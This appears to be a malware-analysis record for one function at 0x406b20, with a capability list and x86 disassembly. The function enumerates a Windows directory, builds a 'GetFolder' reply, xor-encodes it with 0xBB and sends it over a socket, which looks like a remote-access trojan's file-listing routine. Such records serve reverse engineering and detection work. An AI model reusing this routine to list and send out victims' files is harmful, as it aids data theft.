Function at 0x406b20
Capabilities:
Encode data using xor
Enumerate files on windows
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x364
mov eax, dword [0x442754]
xor eax, esp
mov dword [esp + 0x360], eax
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
push eax
lea eax, [esp + 0x264]
push str._s
push eax
call fcn.0041c484
add esp, 0xc
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x264]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push 1
mov ebx, eax
call fcn.0041c606
mov edi, eax
add esp, 4
mov dword [esp + 0x10], edi
test edi, edi
je 0x406b82
mov byte [edi], 0
cmp ebx, 0xffffffff
je 0x406dca
jmp 0x406b90
mov ecx, 0x43a9cc
lea eax, [esp + 0x44]
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x406bc0
test dl, dl
je 0x406bbc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x406bc0
add eax, 2
add ecx, 2
test dl, dl
jne 0x406ba0
xor eax, eax
jmp 0x406bc5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x406c9c
mov ecx, 0x43a9d0
lea eax, [esp + 0x44]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x406bf6
test dl, dl
je 0x406bf2
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x406bf6
add eax, 2
add ecx, 2
test dl, dl
jne 0x406bd6
xor eax, eax
jmp 0x406bfb
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x406c9c
test byte [esp + 0x18], 0x10
je 0x406c9c
lea eax, [esp + 0x44]
push eax
lea ecx, [esp + 0x15c]
push str._s_
push ecx
call fcn.0041c484
mov eax, edi
add esp, 0xc
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406c30
sub eax, edx
mov edx, eax
lea eax, [esp + 0x158]
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406c45
sub eax, esi
lea edx, [eax + edx + 1]
push edx
push edi
call fcn.0041c547
add esp, 8
test eax, eax
je 0x406d31
lea ecx, [esp + 0x158]
mov dword [esp + 0x10], eax
mov esi, ecx
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x406c71
sub ecx, esi
mov edx, ecx
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x406c80
mov ecx, edx
shr ecx, 2
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x10]
lea eax, [esp + 0x18]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x406b90
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0xc]
cmp byte [ecx], 0x31
push 0x43a980
push edi
jne 0x406d51
push str._GetFolder1_
push 3
call fcn.00402eb0
add esp, 0x10
mov dword [esp + 0x14], eax
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406ce0
sub eax, edx
mov edi, eax
lea ebx, [edi + 1]
push ebx
call fcn.0041c606
push ebx
mov esi, eax
push 0
push esi
call fcn.00421fd0
add esp, 0x10
test esi, esi
je 0x406d8d
mov edx, dword [esp + 0x14]
push edi
push edx
push esi
call fcn.00420fc0
add esp, 0xc
xor eax, eax
test edi, edi
je 0x406daf
xor byte [eax + esi], 0xbb
inc eax
cmp eax, edi
jb 0x406d23
jmp 0x406daf
push edi
call fcn.0041ba30
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x360]
xor ecx, esp
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
push str._GetFolder0_
push 3
call fcn.00402eb0
add esp, 0x10
mov dword [esp + 0x14], eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406d67
sub eax, edx
mov edi, eax
lea ebx, [edi + 1]
push ebx
call fcn.0041c606
push ebx
mov esi, eax
push 0
push esi
call fcn.00421fd0
add esp, 0x10
test esi, esi
jne 0x406d91
xor esi, esi
jmp 0x406daf
mov edx, dword [esp + 0x14]
push edi
push edx
push esi
call fcn.00420fc0
add esp, 0xc
xor eax, eax
test edi, edi
je 0x406daf
xor byte [eax + esi], 0xbb
inc eax
cmp eax, edi
jb 0x406da6
mov eax, dword [ebp + 8]
push 0
push edi
push esi
push eax
call dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [esp + 0x10]
push ecx
call fcn.0041ba30
add esp, 4
mov ecx, dword [esp + 0x36c]
pop edi
pop esi
pop ebx
xor ecx, esp
mov eax, str.success
call fcn.0041ba21
mov esp, ebp
pop ebp
ret